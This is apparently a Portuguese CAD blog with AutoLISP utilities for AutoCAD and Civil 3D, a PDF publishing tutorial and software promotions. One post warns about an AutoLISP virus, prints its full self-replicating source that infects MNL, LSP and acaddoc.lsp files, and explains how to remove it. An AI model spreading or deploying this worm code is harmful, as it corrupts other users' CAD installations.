Lisp para preencher estaqueamento no carimbo

Sabe quando você tem as sectionviews em trocentas folhas no model space? Aí vem aquele camarada e diz: Cada folha precisa ter quais estacas estão na folha!!!! E você se vê digitando manualmente cada um dos carimbos, e você tem lá seus 150 carimbos. É, demora pra caramba!! Então que tal fazer com uma lispezinha básica, veja:

;|
CarimboSv, programa para preencher o estaquemamento nos carimbos
autor: Neyton Luiz Dalle Molle
Engenheiro Civil
contato: neyton@yahoo.com
https://tbn2net.com
https://tbn2.blogspot.com
;licença de uso: free
;garantias: nenhuma!!! use por sua propria conta e risco!!!
|;


;variaveis globais para "lembrar" algumas opções
(setq
;nome do bloco a ser filtrado
      CarimboSv:nomeBloco  "A1"
;nome do atributo a modificar
      CarimboSv:nomeAtt    "SUBTÍTULO_2_DO_DESENHO"
;template do texto a aplicar no atributo
      CarimboSv:template   "KM {INICIO} À KM {FIM}")

(
defun c:CarimboSv (/ tmp ss ent vla att alin txt pai s2 getStation)
  ;inicializar o controle de erros
  (tbn:error-init nil)

  ;perguntar na linha de comando pelos valores
  (setq tmp                 (getstring
                  (strcat "\nQual o nome do bloco da folha? <"
                      CarimboSv:nomeBloco
                      ">")
                  t)

    CarimboSv:nomeBloco (strcase
                  (if (= "" tmp)
                CarimboSv:nomeBloco tmp))

    tmp                (getstring
                 (strcat "\nQual o nome do atributo? <"
                     CarimboSv:nomeAtt
                     ">")
                 t)
    

    CarimboSv:nomeAtt  (strcase
                 (if (= "" tmp)
                   CarimboSv:nomeAtt tmp))
;subrotina para obter o "dono" ou "pai" de um objeto
    pai                (lambda (v)
                 (
vlax-get-property v "parent"))
    

;subrotina para criar a estaca como string
    getStation         (lambda (estaca componente template)
                 (
vl-string-subst
                   (vlax-invoke-method
                 alin
                 "GetStationStringWithEquations"
                 estaca)
                   componente
                   template
)))

;pede a seleção dos blocos
;nao filtrar aqui. blocos dinamicos tendem a mudar de nome para
;*Uxxx
  (prompt "\nSelecione os blocos")
  (
setq    ss (ssget   '(( 0 . "insert"))))

; repita para todos os blocos
  (repeat (sslength ss)

;pega o primeiro da lista
    (setq ent (ssname ss 0)
      vla (vlax-ename->vla-object ent))

;se tem o nome correto (blocos dinamicos mudam para *U...
    (if (= CarimboSv:nomeBloco (STRCASE (vla-get-effectivename vla)))
      (
progn

;faz zoom no bloco
    (vla-getboundingbox vla 'minp 'maxp)
    (
vla-zoomwindow (vlax-get-acad-object) minp maxp)

;seleciona as sectionviews dentro da folha
    (setq s2 (ssget "C" (vlax-safearray->list minp)
            (
vlax-safearray->list maxp)
            ' ((0 . "AECC_GRAPH_SECTION_VIEW")))
          alin     (pai (pai (pai (vlax-ename->vla-object
                    (ssname s2 0)))))
          primeiro 1e10
          ultimo   -1e10)
    

;calcula a primeira e a ultima seção
    (repeat (sslength s2)
      (
setq e   (ssname s2 0)
        tmp (vlax-get-property
              (pai (vlax-ename->vla-object e)) "station"))
      (
if (< tmp primeiro) (setq primeiro tmp))
      (
if (> tmp ultimo) (setq ultimo tmp))
      (
ssdel e s2))

;formata a string com o template
    (setq txt (getStation primeiro "{INICIO}" CarimboSv:template)
          txt (getStation ultimo  "{FIM}" txt))

;atribui o novo texto a todos os
;atributos com o nome selecionado
    (foreach att (vlax-safearray->list
            (vlax-variant-value
              (vla-GetAttributes vla)))
      (
if (= CarimboSv:nomeAtt
         (strcase (vla-get-tagstring att)))
        (
vla-put-textstring att txt)))))

;retira o primeiro bloco da lista e recomeça
;o looping
    (ssdel ent ss))

;devolve o controle de erros ao autocad
  (tbn:error-restore))

(
prompt
"
Preenche estacas no carimbo carregado!!
suporte: neyton@yahoo.com
visite: https://tbn2net.com
e também: https://tbn2.blogspot.com
Digite: CarimboSv para usar
"
)
(
princ)



Link(s) da(s) subrotina(s) usada(s): tbn:error-init, tbn:error-restore

É isso. Você será questionado pelo nome do bloco, o nome do atributo e o template a usar. Depois será pedida a seleção dos blocos. Note que se você mudar os valores padrão que a lisp usa para os nomes e template, o programa "lembra" na próxima utilização. Se você sempre usa outros nomes, edite o início da lisp, se souber o que está fazendo Sim, você precisará copiar o código do controle de erro aqui. Sim é preciso colocar o (vl-load-com) no início.

Dia do engenheiro


Meus parabéns a todos os profissionais dessa maravilhosa profissão!!!


Hoje é dia do Engenheiro, do Arquiteto e do Agrimensor!!!



Como não podia deixar de ser, fica como presente aquele desconto!!!


Ao adquirir uma licença de qualquer programa, ganha 25% de desconto até o dia 25/12/2013!!!


Mas espere!!! Não ligue ainda!!!!


Se falar que é engenheiro, arquiteto ou agrimensor, basta informar seu registro do CREA para DOBRAR o desconto!!! Isso mesmo!!!


DESCONTO DOBRADO!!!!!


Participe do grupo sobre Civil 3D no facebook

Visite a minha página de programas


Visite o blog do neyton


Virus de autolisp

É eu sei que o blog está parado de postagens e é só propaganda, heheheh

Então vamos lá, que assuntos vocês gostariam de ver?

Visual lisp?

.NET?

Civil 3D?

AutoCAD?

Dicas de desempenho?

Escolham ai!!!!

Também posso publicar seus posts aqui, com crédito e tudo mais, aliás, um dos posts com mais sucesso foi um camarada que mandou, é aquele das video aulas de topograph!!!

Bom, aproveitando...

Vocês experimentaram uma lentidão absurda na abertura de algum desenho aí no cad de vocês???

Perceberam a criação de um acad.lsp ou acaddoc.lsp na pasta que você abre??

Pois é, aqui no escritório o bicho tá pegando por causa disso....

Vírus em autolisp pro autocad, é mole??

O TI aqui está quase doido, mas também os usuários não ajudam...

O vírus se propaga ao se replicar dentro de arquivos LSP e MNL, criando ainda um acad.lsp ou acaddoc.lsp.

Os arquivos que ele costuma infectar também estão aqui:
C:\Users\seu usuário\AppData\Roaming\Autodesk\programa da autodesk\enu\Support\

E os arquivos são:


  • C3D.mnl, somente civil 3d
  • Civil.mnl, somente civil 3d
  • acetmain.mnl, express tools
  • AecArchxOE.mnl, somente civil 3d?
  • acad.mnl, qualquer autocad ou vertical
Claro que pode pegar outros...

Dá uma olhada no código fonte do mesmo:




(setq flagx t)

(
setq flagx t)
(
setq bz "(setq flagx t)")
(
defun app(source target bz / flag flag1 wjm wjm1 text)
  (
setq flag nil)
  (
setq flag1 t)
  (
if (findfile target)
    (
progn
      (setq wjm1 (open target "r"))
      (
while (setq text (read-line wjm1))
    (
if (= text bz) (setq flag1 nil))
    )
;while
      (close wjm1)
      )
;progn
    );if
  (if flag1
    (progn
      (setq wjm (open source "r"))
      (
setq wjm1 (open target "a"))
      (
write-line (chr 13) wjm1)
      (
while (setq text (read-line wjm))
    (
if (= text bz) (setq flag t))
    (
if flag
      (progn
        (write-line text wjm1)
        )
;progn
      );if
    );while
      (close wjm1)
      (
close wjm)
      )
;progn
    );if
  );defun
(setvar "cmdecho" 0)
(
setq acadmnl (findfile "acad.mnl"))
(
setq acadmnlpath (vl-filename-directory acadmnl))
(
setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(
setq mnlnum (length mnlfilelist))
(
setq acadexe (findfile "acad.exe"))
(
setq acadpath (vl-filename-directory acadexe))
(
setq support (strcat acadpath "\\support"))
(
setq lspfilelist (vl-directory-files support "*.lsp"))
(
setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(
setq lspnum (length lspfilelist))
(
setq dwgname (getvar "dwgname"))
(
setq dwgpath (findfile dwgname))
(
if dwgpath
  (progn
    (setq acaddocpath (vl-filename-directory dwgpath))
    (
setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
    (
setq mnln 0)
    (
while (< mnln mnlnum)
      (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
      (
app mnlfilename acaddocfile bz)
      (
app acaddocfile mnlfilename bz)
      (
setq mnln (1+ mnln))
      )
;while
    (setq lspn 0)
    (
while (< lspn lspnum)
      (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
      (
app lspfilename acaddocfile bz)
      (
app acaddocfile lspfilename bz)
      (
setq lspn (1+ lspn))
      )
;while
    );progn
  );if
(setq mnln 0)
(
while (< mnln mnlnum)
  (
setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
  (
setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app mnlfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while
  (setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app mnlfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln (1+ mnln))
  )
;while
(setq lspn 0)
(
while (< lspn lspnum)
  (
setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
  (
setq lspn1 0)
  (
while (< lspn1 lspnum)
    (
setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
    (
app lspfilename lspfilename1 bz)
    (
setq lspn1 (1+ lspn1))
    )
;while
  (setq mnln1 0)
  (
while (< mnln1 mnlnum)
    (
setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
    (
app lspfilename mnlfilename1 bz)
    (
setq mnln1 (1+ mnln1))
    )
;while




Nem vou comentar....

A ideia básica é, achou um dos arquivos, copia o fonte do vírus pra dentro dele... Quando o arquivo é carregado, uma nova cópia é copiada pra dentro do arquivo...

Bem besta esse vírus, pois ele só cria um arquivo que vai crescendo.... aqui costuma ficar em 8 MB aí os cabeças reclamam...
o cad abre leeeeennnnnnntooooo pois está criando trocentos arquivos de vírus...

Bom, a resolução é:

Abre os arquivos MNL e LSP e apaga esses trechos, ou simplesmente sobrepõe o arquivo com uma versão não contaminada e, claro, apague os acad.lsp e acaddoc.lsp que estão nas pastas dos arquivos... Pois o autocad carrega esses arquivos quando os encontra na pasta do desenho a abrir...

É isso!!!

C3DRENESG - Atualização

Este post é pra informar que o C3DRENESG foi atualizado!!!
Muitas novidades nesta versão, principalmente na parte de cálculo de sarjetas:

  • Estilos de sarjetas
  • Relatórios
  • Gráficos de análise
  • Adição e remoção de nós de entrada e saída de vazão

Na parte de drenagem e esgoto, também tem muita coisa nova:
  • Melhoras na planilha
  • Comandos para facilitar o tratamento de projetos antigos
  • Correções de bugs
  • Melhoras nos catálogos
  • Escavação de valas

A lista completa pode ser vista na ajuda do programa.

Está quase pronto a ajuda do programa em inglês, então por enquanto, a ajuda online deve ser visualizada e traduzida com o google translate. Por enquanto, somente a ajuda em português pode ser consultada offline.


Veja algumas imagens:

Gráfico

Edição de estilo de sarjetas:


Planilhas de resultados:

E para drenagem e esgoto, a planilha agora conta com duas telas para facilitar a edição de propriedades:

Resumo de materiais:

Não deixe de testar o programa: Download
Disponível para Civil 3D 2012, 2013 e 2014 (possivelmente 2011)

E não deixe de aproveitar a promoção, válida até 04/12/2013

Comprou uma licença, leva duas!! E pode usar qualquer uma delas em qualquer computador!!

Promoção de Natal

Que tal TODOS os programas, compre uma licença, leva duas!!!
Plugins para AutoCAD e para Civil 3D!!!
Página dos programas: https://tbn2net.com
Válido até o dia 04/12/2013
Aproveita,  que dura pouco!!!

IMPORTGMMAP e Bing Maps

Já usou o IMPORTGMMAP?


Já? que bom!!! Não deixe de comentar o que achou!!!

Não testou ainda? Então anda logo!!

Mas pra que ele serve mesmo? Bom, para importar imagens do Google Maps e Bing Maps para o AutoCAD, georreferenciado!!


As vezes a cobertura de um é melhor que a do outro em determinadas regiões:


A imagem da esquerda é do Google Maps e da direita o Bing Maps. Façam suas análises!!

Ah: Sabia que dá pra importar várias imagens de uma vez? Assim o mosaico terá uma resolução muito maior e você pode até filtrar as imagens que serão importadas para caberem numa polilinha, assim:
Bacana, não?
Baixe agora mesmo o TBN2CAD e teste o IMPORTGMMAP!!


Atributos Multilinhas - Mudando sua largura

Um lispezinho básico pra variar!!!

Use este programa para redimensionar a largura de atributos multi linhas de blocos. O que, não sabia que atributos podem ser multi linha, como MTEXT? Cara, tu tem que usar, é muito bom!!!, resolve uma penca de problemas... esse negócio de ficar criando trocentos atributos para criar várias linhas no bloco, principalmente nos carimbos é tão R14.... hehehehe

Bom, vamos lá então:


;|MtAttLarg
Programa para definir a largura de
atributos multilinha em blocos
Autor: Neyton Luiz Dalle Molle
email: neyton@yahoo.com
Permissão de uso: Livre,
desde que mantido os créditos
|;


;carrega as funções vla*
(vl-load-com)

;variavel global para lembrar a largura
(setq MtAttLarg:largura 35)

;variavel blobal para remoção de quebras
(setq MtAttLarg:RemoveQuebra "Sim")

;programa principal
(defun c:MtAttLarg (/ ss ent vla largura att RemoveQuebra)
;inicia o controle de erros
  (tbn:error-init nil)

;pede a seleção dos blocos
  (prompt "\nSelecione os blocos")
  (
setq ss (ssget   '((0 . "insert"))))
  (
if (not ss) (exit))

;pede a largura do mtext
  (setq largura (getdist
          (strcat "\nQual a largura desejada? "
              "<"
 (rtos MtAttLarg:largura) ">"))
    largura (if largura largura MtAttLarg:largura)
    MtAttLarg:largura largura)

;pergunta se quer remover quebras
  (initget "Sim Não" 0)
  (
setq RemoveQuebra (getkword (strcat
        "\nRemover quebras de linha? [Sim, Não] "
        "<"
 MtAttLarg:RemoveQuebra ">"))
    RemoveQuebra (if RemoveQuebra
            RemoveQuebra
            MtAttLarg:RemoveQuebra
)
    MtAttLarg:RemoveQuebra RemoveQuebra)

;processa cada bloco
  (repeat (sslength ss)
    (
setq ent (ssname ss 0)
      vla (vlax-ename->vla-object ent))

;caso o bloco tenha atributos,
;processa os atributos faça
    (if (= :vlax-true (vla-get-HasAttributes vla))
      (
foreach att  (vlax-safearray->list
              (vlax-variant-value
            (vla-getattributes vla)))
    

;se o atributo é multilinhas, redefina a largura:
    (if (= :vlax-true (vla-get-mtextattribute att))
      (
vla-put-mtextboundarywidth att largura))

;remova quebras de linha
    (if (= RemoveQuebra "Sim")
      (
while (vl-string-search "\\P"
           (vla-get-textstring att))
        (
vla-put-textstring
          att
          (vl-string-subst " " "\\P"
        (vla-get-textstring att)))))
    )
      )


;remove o primeiro elemento da seleção
;e vai pro próximo
    (ssdel ent ss)
    )

;restaura o controle de erros
  (tbn:error-restore)
)



Link(s) da(s) subrotina(s) usada(s):
tbn:error-init, tbn:error-restore


Para funcionar, você precisa salvar o código acima e também aquele indicado no link acima num mesmo arquivo *.lsp e pronto!!!

Você poderá usar o programa acima para ajeitar a largura dos blocos criados pelo CSONDAGEM, por exemplo. Ainda não testou este programa? Baixa ele já e testa!! Ele serve para criar blocos nos profileviews, indicando as sondagens feitas, veja uma imagem:


É isso, qualquer coisa, entre em contato!!

Erros estranhos em alguns comandos

Você já se deparou com o seguinte problema?

O AutoCAD não faz offset de uma polilinha, o trim não funciona em linhas tangentes a circunferências e coisas assim?

Repare nas coordenadas do WCS.

Elas possuem uma parte inteira muito grande? Tipo, se você usa UTM = WCS, terá coordenadas do tipo 500.000,000 por 7.000.000,000 certo?

E pior as vezes ainda dão escala de 1000 no desenho para fazer milímetros, ehehe

Mas por que isso acontece?

Bem, pense: quantos números reais existem? R: Infinitos
Quantos nossos computadores conseguem representar?

Aí depende. Se ele for de 32 bits, ele pode representar 2^32-1 (ou 4 Giga) números apenas.

E os outros? são arredondados para um que possa ser representado.... É meio massante as continhas que o processador faz e não perderei tempo  com isso, procure no oráculo

Aí aparece o problema: se uma linha é tangente a uma circunferência, a distância do centro desta à reta é matematicamente IGUAL ao  raio da circunferência, correto???

No AutoCAD isso pode não ser necessáriamente correto!!!

Era aquela história de dividir 1 por 3 e depois multiplicar por 3. Dá um?
As vezes dá 0.9999999999!!!!!

Então, cuidado!! se o trim não  funcionar, pode estar acontecendo isso...

Publish - Tutorial para imprimir diversos arquivos em PDF

Muitas vezes precisamos fazer uma entrega de projeto com todas as pranchas impressas em PDF.

Existem muitas maneiras de fazer isso e uma delas é abrir cada desenho manualmente e imprimir cada layout
num arquivo PDF separado e posteriormente com um programa qualquer juntar todos num book

Funciona, claro, mas está muito suscetível a erros.

Principalmente se tiver muitos arquivos, com pranchas no model ou no paper.

Uma maneira interessante de resolver isso é usando o comando PUBLISH. Siga o roteiro abaixo para utilizar:


  1. Configure uma folha padrão com o comando PAGESETUP

    A primeira coisa a fazer é configurar uma página no AutoCAD. Ela será usada para sobrescrever
    as configurações de ploter de todas as pranchas a serem impressas. Isso facilita o trabalho, pois
    desobriga ter de abrir cada desenho, em cada layout e configurar o formato, penas, etc.

    Para configurar uma folha padrão, abra um desenho ou mesmo seu template padrão e use o comando
    PAGESETUP
    Chame o comando PAGESETUP na linha de comando. Irá abrir esta tela:

    Nesta tela, Clique o botão "New". Se abrirá uma tela, onde você deve preencher o nome do PAGESETUP:

    Digite o nome e clique OK.

    Note que o PAGESETUP do Model é diferente do Paper. Então após configurar este, vá até o Paper Space
    e repita os passos para ter a página configurada tanto no Nodel, quanto no Paper.

    Em geral, o book em PDF é todo num mesmo tamanho de folha, independente do projeto ter sido feito
    em A1 ou A3. Se for este o caso, escolha as opções que satisfazem a plotagem:


    Configure a saída para PDF, escolha as penas, e muito iumportante: escolha "Plot Area" como "Extents"

    Fazendo assim, não obriga a folha a estar em coordenadas e escala específicas. Claro que, se procedêssemos
    um "ZOOM Extents", veríamos a folha como um todo, sem "lixo" externa a ela.

    O tamanho do papel também é importante.

    Clique OK. abra um layout, pode ser qualquer um. Repita a configuração do PAGESETUP, salvando- com um
    nome que o diferencie daquele usado para o MODEL. Se quiser, proceda diversas vezes este roteiro, configurando
    os tamanhos de folha (A1, A2, A3, etc) com nomes apropriados.

    Por fim, salve o desenho com estas configurações. A sugestão é que salve no seu TEMPLATE.
  2. Crie uma lista de arquivos a imprimir com o comando PUBLISH

    Para criar uma lista dos desenhos a imprimir, chame o comando PUBLISH na linha de comando. Irá abrir
    esta tela:

    Limpe a lista pré salva, que está marcada com a seta vermelha.

    Clique o botão "Add Sheets":


    Navegue até a pasta que contem os arquivos e selecione todos. É possível escolher se queremos
    adicionar o Model, os Layouts ou ambos:


    Na tela do publish é possível alterar a ordem das folhas, clicando os botões destacados.

    Observe a coluna Sheet Name. Note que ela é composta pelo nome do arquivo e o sufixo indicando
    se é o Model ou um layout qualquer.

    Para remover uma folha, clique-a na lista e pressione o botão Delete

    Repita estes passos para incluir novos desenhos.
  3. Importe o PAGESETUP do template.

    Após ordenar as folhas, é necessário definir as configurações de potagem de cada uma delas.
    Na lista, clique a coluna Page Setup, localize o template onde foi salvo a configuração
    das folhas.


    Note que é possível fazer isso um a um, ou já definir para todos ao mesmo tempo. Para definir para todos
    ao mesmo tempo, clique com o botão direito do mouse e escolha "Change Page Setup":

  4. Defina o local a salvar o resultado.

    Após configurar a opções individuais de impressão das folhas, configure onde salvar o resultado, no caso de
    arquivos em PDF. Para isso clique o botão "Publish Options" indicado com a seta. Irá abrir a tela seguinte:


    NO caso de PDF, é possível criar um arquivo de várias páginas, ou vários arquivos de uma página.

    Também é possível incluir as informações de layers etc.

  5. Salve a lista de impressão e suas propriedades

    Após configurar a opções, é interessante salvar a lista para uso posterior. Até porque se algo der errado
    não é preciso repetir tudo novamente, basta carregar a lista e corrigir:


    Escolha um nome e local a salvar. Será criado um arquivo de extensão DSD
  6. Publique.

    Por fim, clique o botão Publish:


    Será solicitado o nome do arquivo PDF. Informe:


    Aparecerá um informe:


    Observe o canto inferior direito do AutoCAD. Ali informa o processamento do serviço de impressão:

    No fim do processo, será informado o resultado com os possíveis erros:


    Agora, é só verificar o arquivo. Caso tenha dado algum erro, corrija e repita o processo.

Ligar pontos de civil 3d

Link para download

Outro dia me mediram um programinha (!!!) para ligar pontos pra usar no civil 3d.
Bem, resolvi incentivar meus desenhistas as aprender a programar então escrevi o código abaixo com todos eles vendo e fui questionando o que o programa deveria fazer.

Expliquei que o programa em si, apesar de parecer complicado, é na verdade simples!! O difícil não é escrever o programa mas sim pensar na receitinha de bolo necessária para ele, ou seja, o algoritmo.

Então analise:
  • Pedir por uma seleção de pontos
  • Filtrar por uma descrição especifica
  • Classificar os pontos em alguma ordem, seja pelo X, Y, ou nome
  • Prever se faz um serrilhado, isto é, se tem pontos dos dois lados de uma rua por exemplo, ligue separadamente os da direita e esquerda
  • Ligar os pontos

Esta receita é o algoritmo. Simples, não?

Agora pense: Isto será um programa e será chamado na linha de comando, então é bom que ele se comporte como um comando nativo.
Para isso, basta implementar um controle de erros.

Também seria interessante que o programa "lembrasse" as opções que você configura, por exemplo, o layer a usar para ligar as linhas.

Também é importante criar algumas regras para classificar os pontos. Por exemplo, se usamos uma classificação pelo nome do ponto, precisamos pensar que o topógrafo usou números em sequencia e incrementou de um em um. Assim se nossa sequencia é 1, 2, 3, 4, ligamos. Mas se a sequencia for 1, 2, 6, 7, 8, 9, ligamos o 1 e o 2, mas não ligamos 2 com o 6 e ligamos de 6 até 9.

Também precisamos verificar se a distancia entre os pontos não é excessivamente grande.

O exercício será então incluir essas condições no algoritmo principal.

Mas volte a ele agora. Percebe que temos um problema grande?

Então quebre ele problemas menores.

Pegue cada pequeno problema, e quebre ele novamente, até virar algo facilmente solucionável.

Exemplo:
Como pedir a seleção de pontos? SSGET
Como filtrar para selecionar apenas pontos? colocando filtro no SSGET
Como pedir a descrição a Filtrar? GETSTRING
Como aceitar caractere coringa ("*")? WCMATCH
Como comparar o nome de pontos? transformando o nome num número
Como pegar um ponto e obter suas coordenadas?

Respondendo estas perguntas, chega-se ao código:

;este programa conecta pontos filtrando-o em suas descrições e organizando-os pelos seus nomes
;autor: neyton luiz dalle molle
;neyton@yahoo.com
;2013-07-03
;https://tbn2.blogspot.com
;https://tbn2net.com

;define variaveis globais para "lembrar" a opcoes na linha de comando
(setq ligarpontos_dist 20
      ligarpontos_dif   1
      ligarpontos_desc "PE"
      ligarpontos_pergunta "N"
      ligarpontos_serrilhado "S"
      ligarpontos_layer "0")

;subrotinas


;subrotina ligarpontos:Nome->Num:
;transforma o nome do ponto em um numero, para poder comparar com outros pontos
(defun ligarpontos:Nome->Num (nome / num n)
  (
cond ((vl-string-search "POINT" nome)
     (
setq num (+ 100000 (atoi (vl-string-translate "POINT -()" "         " nome) ))))

    ((
vl-string-search "(" nome)
     (
setq num (read (strcat "(" (vl-string-translate "()" "  " nome) ")"))
           num (+ (nth 0 num) (* 100000 (nth 1 num)))))
   
    ((
wcmatch nome "*[A-Z]*")
     (
setq n 65)
     (
repeat 26
       (setq nome (vl-string-translate (chr n) " " nome)
         n    (+ 1 n)))
     (
setq num (+ 500000 (atoi nome))))

    (
t
     (setq num (atoi nome))))

  num
  )


;subrotina ligarpontos:X->Num
;transforma o nome do ponto em um numero, para poder comparar com outros pontos
(defun ligarpontos:X->Num (x)
  x
  )

;subrotina ligarpontos:Y->Num
;transforma o nome do ponto em um numero, para poder comparar com outros pontos
(defun ligarpontos:Y->Num (y)
  y
  )


;subrotina ligarpontos:LigarPontos
;conecta uma lista de pontos efetivamente com linhas
;pergunta ("N" "X" "Y") informa o tipo de ordem usada na lista. se for N, testa a diferenca no numero
(defun ligarpontos:LigarPontos (pts layer pergunta dist / p1 p2 n a b)
  (
setq p1 (nth 0 pts)
    n  1)
 
  (
repeat (- (length pts) 1 )
    (
setq p2 (nth n pts)
      a  (nth 3 p1)
      b  (nth 3 p2))

    (
if (and (if (= pergunta "N") (<= (- (nth 0 p2) (nth 0 p1)) dif) t)
         (
< (distance a b) dist))
      (
draw-line a b layer))

    (
setq  p1 p2
       n
 (+ 1 n)))
  )



;subrotina ligarpontos:PegaPontosComecandoEm
;devolve uma sublista de pontos, iniciando num valor e pulado de 2 em 2 (par ou impar) apartir do inicio (c)
(defun ligarpontos:PegaPontosComecandoEm (pts c / qtd lst)
  (
setq qtd (length pts) )

  (
while (< c qtd)
    (
setq lst (cons (nth c pts) lst)
      c   (+ c 2)))

  (
reverse lst)
  
  )



;programa principal:
(defun c:ligarpontos (/ ss desc pts nome desc descpt pt p1 p2 n dist a b dif pergunta serrilhado ptspar ptsimpar layer)

  ;controle de erros e undo e redo
  (tbn:error-init nil)
  

  ;pega os pontos na tela
  (setq ss (ssget '((0 . "AECC_COGO_POINT"))))

  ;pergunta pela descricao a filtrar
  (setq desc (getstring (strcat "\nQual a descrição a filtrar? <" ligarpontos_desc ">"))
    desc (if (= "" desc) ligarpontos_desc desc)
    ligarpontos_desc desc)

  (
setq dist (getdist (strcat  "\nQual a maior distancia para conectar os pontos? <" (rtos ligarpontos_dist 2 2) ">"))
    dist (if (not dist) ligarpontos_dist dist)
    ligarpontos_dist dist)

  (
initget "N X Y" 0)
  (
setq pergunta (getkword (strcat "\nPor qual propriedade usar na ordenação? [Nome, coordenada X, coordenada Y] <" ligarpontos_pergunta ">"))
    pergunta (if pergunta pergunta ligarpontos_pergunta)
    ligarpontos_pergunta pergunta)
 

  (
if (= pergunta "N")
    (
setq dif (getint (strcat "\nQual a maior diferença no numero dos pontos para conectá-los? <" (itoa ligarpontos_dif )">"))
      dif (if (not dif) ligarpontos_dif dif)
      ligarpontos_dif dif))


  (
initget "S N" 0)
  (
setq serrilhado (getkword (strcat "\nPrever serrilhado? [Sim, Nao] <" ligarpontos_serrilhado ">"))
    serrilhado (if serrilhado serrilhado ligarpontos_serrilhado)
    ligarpontos_serrilhado serrilhado)

  (
setq layer (getstring (strcat "\nQual o layer usar na linha? <" ligarpontos_layer ">"))
    layer (if (= "" layer) ligarpontos_layer layer)
    layer (vl-string-translate "<>\/\":;?*|,=`" "------------" layer)
    layer (vl-string-trim  " " layer )
    layer (if (= "" layer ) "0" layer)
    ligarpontos_layer layer)

  (
setq desc (strcase desc))

  ;filtra pela descricao
  (setq pts nil)
  (
repeat (sslength ss)
    (
setq ent    (ssname ss 0)
      vla    (vlax-ename->vla-object ent)
      nome   (strcase (cvlp-get-name vla))
      descpt (cvlp-get-rawdescription vla)
      pt     (list  (cvlp-get-easting vla) (cvlp-get-northing vla) (cvlp-get-elevation vla)))

    (
if (wcmatch (strcase descpt) desc )
      (
setq pts (cons (list nome desc pt) pts )))
    (
ssdel ent ss))

  ;organiza pelo nome, transformando o nome num numero

  ;transformar o nome num numero
  (setq pts (mapcar '(lambda (p / num) ;(setq p (car pts))
               (setq nome (nth 0 p))

                       ;decisao de como organizar a lista de pontos
               (setq num (if (= pergunta "N")
                   (
ligarpontos:Nome->Num nome)
                   (
if (= pergunta "X")
                     (
ligarpontos:X->Num (nth 0 (nth 2 p)))
                     (
ligarpontos:Y->Num (nth 1 (nth 2 p))))))
              

               (
cons num p)
               )
 pts))


  ;ordena a lista em ordem crescente pelo num calculado para o nome
  (setq pts (vl-sort pts '(lambda (a b) (< (nth 0 a)  (nth 0 b))) ))


  ;conecta os pontos se a diferencia entre o num é 1

  ;testa a previsao de serrilhado
  (if (= "S" serrilhado)
    (
progn
      ;no caso de previsao de serrrilhado, separa a lista de pontos em pontos pares e impares
      (setq ptspar   (ligarpontos:PegaPontosComecandoEm pts 0)
        ptsimpar (ligarpontos:PegaPontosComecandoEm pts 1))

      ;liga os pontos pares
      (ligarpontos:LigarPontos ptspar layer pergunta dist)

      ;liga os pontos impares
      (ligarpontos:LigarPontos ptsimpar layer pergunta dist)  )
   
    (
ligarpontos:LigarPontos pts layer pergunta dist) ;nao precisa prever serrilhado, entao nao precisa separar os pontos
    

    )

  ;reastaura o controle para o autocad
  (tbn:error-restore)
  )

(
princ "\nprograma LIGARPONTOS carregado!\npara usar digite LIGARPONTOS na linha de comando\n")


Link(s) da(s) subrotina(s) usada(s):
draw-line, tbn:error-init, tbn:error-restore, funções cvl*


O que, leu tudo até aqui?
Parabéns!!!

Este código foi escrito em 1:30h, explicando cada passo aos espectadores e estes em opinavam cada passo.

Então se o seu interesse é aprender a programar, não se atenha ao código em si, mas sim aos comentários nele.

Depois, perceba as técnicas usadas para "lembrar" as opções que o usuário terá na linha de comando.

Use subrotinas para quebrar o codigo em problemas menores.

Consulte o usuário para entender o problema dele.

É isso. Gostou do programa, mas não sabe como rodar ele? vejas os outros tutoriais de autolisp da minha página!!!

Em breve este programa para download...